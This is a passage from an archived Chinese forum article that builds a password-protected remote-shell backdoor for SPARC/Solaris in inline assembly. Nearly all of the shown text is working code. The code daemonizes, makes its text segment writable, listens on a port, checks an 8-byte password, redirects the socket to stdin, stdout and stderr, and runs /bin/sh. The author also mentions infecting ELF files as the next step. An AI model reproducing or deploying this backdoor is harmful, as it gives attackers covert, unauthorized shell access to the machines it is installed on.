382.html

Jsp精华文章合集,JSP方面各种知识介绍

　　　　mov　 0x03, %o0　　　　　　! 第一个参数3<br>
　　　　ld　　[ %l7 + 4 ], %o1　　 ! 第二个参数c<br>
　　　　add　 %l7, 8, %o2　　　　　! 第三个参数pass<br>
　　　　mov　 0x08, %o3　　　　　　! 第四个参数8<br>
　　　　clr　 %g1<br>
　　　　ta　　8<br>
　　");<br>
}　/* end of main */<br>
--------------------------------------------------------------------------<br>
<br>
本以为这就是最后了，猛然记起SPARC没有repnz cmpsb指令。可以省点事的是我们强<br>
制口令恰好8个字节，所以比较两个usigned long即可。<br>
<br>
--------------------------------------------------------------------------<br>
/* gcc -o asm asm.c */<br>
int main ( int argc, char * argv[] )<br>
{<br>
　　__asm__<br>
　　("<br>
read:<br>
　　　　mov　 0x03, %o0　　　　　　! 第一个参数3<br>
　　　　ld　　[ %l7 + 4 ], %o1　　 ! 第二个参数c<br>
　　　　add　 %l7, 8, %o2　　　　　! 第三个参数pass<br>
　　　　mov　 0x08, %o3　　　　　　! 第四个参数8<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! read( c, pass, 8 )<br>
　　　　ld　　[ %l7 + 8 ], %o0<br>
　　　　ld　　[ %l7 + 28 ], %o1<br>
　　　　cmp　 %o0, %o1<br>
　　　　be,a　.+16<br>
　　　　nop<br>
　　　　call　read<br>
　　　　nop<br>
　　　　ld　　[ %l7 + 12 ], %o0<br>
　　　　ld　　[ %l7 + 32 ], %o1<br>
　　　　cmp　 %o0, %o1<br>
　　　　be,a　.+16<br>
　　　　nop<br>
　　　　call　read<br>
　　　　nop<br>
　　");<br>
}　/* end of main */<br>
--------------------------------------------------------------------------<br>
<br>
实际最初的代码不是这个样子，当时忽略了SPARC下严格的4字节对齐的要求，导致在<br>
做弱口令验证的时候总线错误，i386下是没有这种顾虑的。这也说明了SPARC下汇编<br>
编程更加困难，需要更多的细心。<br>
<br>
至此，我们需要的各个系统调用、各个关键部位的汇编代码统统搞定，剩下的问题是<br>
组合它们。提醒大家的是，即使我们这次组合顺利，也不意味着backdoor for sparc<br>
成功搞定，尚不了解ELF的处理方式是否通用于SPARC和i386之间。如果搞不定，大家<br>
不要乱扔臭鸡蛋、西红柿什么的，砸到我倒没什么，砸到小朋友怎么办，即使砸不到<br>
小朋友，砸到那些花花草草也是不好的，我都给你们说过多次了。<br>
<br>
言归正传，backdoor如果没搞定，作为汇编版本的远程shell毕竟提供出来了，对于<br>
以后可能出现的很多研究有借鉴作用，也是不错的。<br>
<br>
--------------------------------------------------------------------------<br>
/* gcc -o asm asm.c */<br>
int main ( int argc, char * argv[] )<br>
{<br>
　　__asm__<br>
　　("<br>
　　　　mov　 2, %g1<br>
　　　　ta　　8　　　　　　　　　　! fork()<br>
　　　　tst　 %o1　　　　　　　　　! %o1不为0表示是子进程<br>
　　　　bne,a .+16　　　　　　　　 ! 是子进程，跳转<br>
　　　　mov　 %g0, %o0　　　　　　 ! 延迟插槽<br>
　　　　call　exit<br>
　　　　nop<br>
　　　　mov　 0x27, %o0　　　　　　! 此前%o0为0，子进程继续<br>
　　　　mov　 3, %o1<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! setsid()<br>
　　　　mov　 0x30, %o0<br>
　　　　mov　 1, %o1<br>
　　　　mov　 1, %o2<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! signal( SIGHUP, SIG_IGN )<br>
　　　　mov　 2, %g1<br>
　　　　ta　　8　　　　　　　　　　! fork()<br>
　　　　tst　 %o1　　　　　　　　　! %o1不为0表示是子进程<br>
　　　　bne,a .+16　　　　　　　　 ! 是子进程，跳转<br>
　　　　mov　 %g0, %o0　　　　　　 ! 延迟插槽<br>
　　　　call　exit<br>
　　　　nop<br>
　　　　mov　 0x74, %o0　　　　　　! 第一个参数116<br>
　　　　sethi %hi(0x10000), %o1　　! 第二参数，起始地址<br>
　　　　sethi %hi(0x00002000), %o2 ! 第三个参数8096<br>
　　　　mov　 0x07, %o3　　　　　　! 第四个参数7，rwx<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! 设置文本段可写<br>
　　　　bn,a　.-4　　　　　　　　　! 跳转去执行call .-4指令<br>
　　　　bn,a　.-4　　　　　　　　　! 跳转去执行nop<br>
　　　　call　.-4　　　　　　　　　! 跳转去执行前面这条bn,a .-4指令<br>
　　　　nop　　　　　　　　　　　　! 作为延迟插槽被执行一次，bn,a跳转后又执行一次<br>
　　　　add　 %o7, 464, %l7　　　　! %o7 + 464 指向本段代码尾部<br>
　　　　mov　 0xe6, %o0<br>
　　　　mov　 0x02, %o1<br>
　　　　mov　 0x02, %o2<br>
　　　　mov　 0x06, %o3<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! socket( 2, 2, 6 )<br>
　　　　st　　%o0, [ %l7 ]　　　　 ! [ %l7 ]存放s<br>
　　　　mov　 2, %o1<br>
　　　　sth　 %o1, [ %l7 + 0x04 ]　! serv_addr.sin_family<br>
　　　　clr　 [ %l7 + 0x08 ]　　　 ! serv_addr.sin_addr.s_addr<br>
　　　　sethi %hi(0x2000), %o1<br>
　　　　sth　 %o1, [ %l7 + 0x06 ]　! serv_addr.sin_port<br>
　　　　mov　 0xe8, %o0　　　　　　! 第一个参数232<br>
　　　　ld　　[ %l7 ], %o1　　　　 ! 第二个参数s<br>
　　　　mov　 4, %o2<br>
　　　　add　 %l7, %o2, %o2　　　　! 第三个参数&amp;serv_addr<br>
　　　　mov　 0x10, %o3　　　　　　! 最后一个参数16<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! bind( s, ( struct sockaddr * )&amp;serv_addr, 0x10 )<br>
　　　　mov　 0xe9, %o0　　　　　　! 第一个参数233<br>
　　　　ld　　[ %l7 ], %o1　　　　 ! 第二个参数s<br>
　　　　mov　 0x01, %o2　　　　　　! 第三个参数1<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! listen( s, 1 )<br>
　　　　mov　 0x30, %o0<br>
　　　　mov　 0x12, %o1　　　　　　! SIGCHLD<br>
　　　　mov　 0x01, %o2<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! signal( SIGCHLD, SIG_IGN )<br>
accept:<br>
　　　　mov　 0xea, %o0<br>
　　　　ld　　[ %l7 ], %o1　　　　 ! 第二个参数s<br>
　　　　clr　 %o2<br>
　　　　clr　 %o3<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! accept( s, 0, 0 )<br>
　　　　st　　%o0, [ %l7 + 4 ]　　 ! [ %l7 +4 ]存放c<br>
　　　　mov　 2, %g1<br>
　　　　ta　　8　　　　　　　　　　! fork()<br>
　　　　tst　 %o1　　　　　　　　　! %o1不为0表示是子进程<br>
　　　　bne,a .+16　　　　　　　　 ! 是子进程，跳转<br>
　　　　mov　 %g0, %o0　　　　　　 ! 延迟插槽<br>
　　　　call　loop<br>
　　　　nop<br>
　　　　mov　 0x06, %o0　　　　　　! 第一个参数6<br>
　　　　ld　　[ %l7 ], %o1　　　　 ! 第二个参数s<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! close( s )<br>
read:<br>
　　　　mov　 0x03, %o0　　　　　　! 第一个参数3<br>
　　　　ld　　[ %l7 + 4 ], %o1　　 ! 第二个参数c<br>
　　　　add　 %l7, 8, %o2　　　　　! 第三个参数pass<br>
　　　　mov　 0x08, %o3　　　　　　! 第四个参数8<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! read( c, pass, 8 )<br>
　　　　ld　　[ %l7 + 8 ], %o0<br>
　　　　ld　　[ %l7 + 28 ], %o1<br>
　　　　cmp　 %o0, %o1<br>
　　　　be,a　.+16<br>
　　　　nop<br>
　　　　call　read<br>
　　　　nop<br>
　　　　ld　　[ %l7 + 12 ], %o0<br>
　　　　ld　　[ %l7 + 32 ], %o1<br>
　　　　cmp　 %o0, %o1<br>
　　　　be,a　.+16<br>
　　　　nop<br>
　　　　call　read<br>
　　　　nop<br>
　　　　mov　 0x3e, %o0　　　　　　! 第一个参数62<br>
　　　　ld　　[ %l7 + 4 ], %o1　　 ! 第二个参数c<br>
　　　　mov　 0x09, %o2<br>
　　　　clr　 %o3<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! dup2( c, 0 )<br>
　　　　mov　 0x3e, %o0　　　　　　! 第一个参数62<br>
　　　　ld　　[ %l7 + 4 ], %o1　　 ! 第二个参数c<br>
　　　　mov　 0x09, %o2<br>
　　　　mov　 0x01, %o3<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! dup2( c, 1 )<br>
　　　　mov　 0x3e, %o0　　　　　　! 第一个参数62<br>
　　　　ld　　[ %l7 + 4 ], %o1　　 ! 第二个参数c<br>
　　　　mov　 0x09, %o2<br>
　　　　mov　 0x02, %o3<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! dup2( c, 2 )<br>
　　　　mov　 0x06, %o0　　　　　　! 第一个参数6<br>
　　　　ld　　[ %l7 + 4 ], %o1　　 ! 第二个参数c<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! close( c )<br>
　　　　sethi 0xbd89a, %l4　　　　 ! sethi　%hi(0x2f626800), %l4<br>
　　　　or　　%l4, 0x16e, %l4<br>
　　　　sethi 0xbdcda, %l5　　　　 ! sethi　%hi(0x2f736800), %l5<br>
　　　　and　 %sp, %sp, %o0　　　　! $o0 指向字符串/bin/sh<br>
　　　　add　 %sp, 8, %o1　　　　　! $o1 存放一个地址，该地址处存放了指向字符串的指针<br>
　　　　xor　 %o2, %o2, %o2　　　　! %o2寄存器清零<br>
　　　　add　 %sp, 16, %sp　　　　 ! 留出存储空间<br>
　　　　std　 %l4, [%sp - 16]　　　! 存放字符串<br>
　　　　st　　%o0, [%sp - 8]　　　 ! 存放字符串指针<br>
　　　　st　　%g0, [%sp - 4]　　　 ! %g0总是为0<br>
　　　　mov　 0x3b, %g1　　　　　　! 将0x3b拷贝到%g1寄存器中<br>
　　　　ta　　8　　　　　　　　　　! 执行中断指令ta 8(execve()完成)<br>
　　　　call　exit　　　　　　　　 ! 保护措施，防止失控<br>
　　　　nop<br>
loop:<br>
　　　　mov　 0x06, %o0　　　　　　! 第一个参数6<br>
　　　　ld　　[ %l7 + 4 ], %o1　　 ! 第二个参数c<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! close( c )<br>
　　　　call　accept<br>
　　　　nop<br>
exit:<br>
　　　　mov　 0x01, %o0<br>
　　　　clr　 %o1<br>
　　　　clr　 %g1<br>
　　　　ta　　8　　　　　　　　　　! exit( 0 )<br>
　　　　.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff<br>
　　　　.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff<br>
　　　　.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff<br>
　　　　.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff<br>
　　");<br>
}　/* end of main */<br>
--------------------------------------------------------------------------<br>
<br>
7.12注：由于众所周知的原因，最后的四个.byte指令我全部替换成现在的样子，如<br>
　　　　果你看懂了原理，自己随便改改就是了，否则别怨我什么。<br>
<br>
测试后效果还可以，接下来的任务是SPARC/Solaris下ELF格式文件的感染，估计很头<br>
疼，如果实在太难我就放弃了，这个方向不是那么好玩的，弄不好把自己就给兜进去<br>
了。<br>
<br>
一个遗留问题，应该处理一下bind()失败的情形，Linux版本都处理了，SPARC版本尚<br>
未处理，今做一工作记录，以免你忘却(马语者)。<br>
<br>
&lt;完&gt; <br>
<br>
</p>
</td>
  </tr>
</table>

<p>
<CENTER><a href="http://www.jsp001.com/forum/newreply.php?action=newreply&threadid=382">点这里对该文章发表评论</a></CENTER>
<p>该文章总得分是 <font color=red>0</font> 分，你认为它对你有帮助吗？
				[<a href=javascript:void(0) onclick=window.open("http://www.jsp001.com/forum/codeVote.php?threadid=382&intVote=4","","menubar=no,toolbar=no,location=no,directories=no,status=no,resizable=no,scrollbars=no,width=70,height=40,top=0,left=0")>非常多</a>](<font color=red>0</font>) 
				[<a href=javascript:void(0) onclick=window.open("http://www.jsp001.com/forum/codeVote.php?threadid=382&intVote=2","","menubar=no,toolbar=no,location=no,directories=no,status=no,resizable=no,scrollbars=no,width=70,height=40,top=0,left=0")>有一些</a>](<font color=red>0</font>) 
				[<a href=javascript:void(0) onclick=window.open("http://www.jsp001.com/forum/codeVote.php?threadid=382&intVote=1","","menubar=no,toolbar=no,location=no,directories=no,status=no,resizable=no,scrollbars=no,width=70,height=40,top=0,left=0")>无帮助</a>](<font color=red>0</font>) 
				[<a href=javascript:void(0) onclick=window.open("http://www.jsp001.com/forum/codeVote.php?threadid=382&intVote=-1","","menubar=no,toolbar=no,location=no,directories=no,status=no,resizable=no,scrollbars=no,width=70,height=40,top=0,left=0")>是灌水</a>](<font color=red>0</font>) </p>
<script language="javascript" src="http://www.jsp001.com/include/read_thread_script.php?threadid=382"></script>
<p><CENTER>
Copyright &copy; 2001 - 2009 JSP001.com . All Rights Reserved <P>

<IMG SRC="../image/jsp001_small_logo.gif" WIDTH="85" HEIGHT="30" BORDER=0 ALT="">
</CENTER></p>

</body>
</html>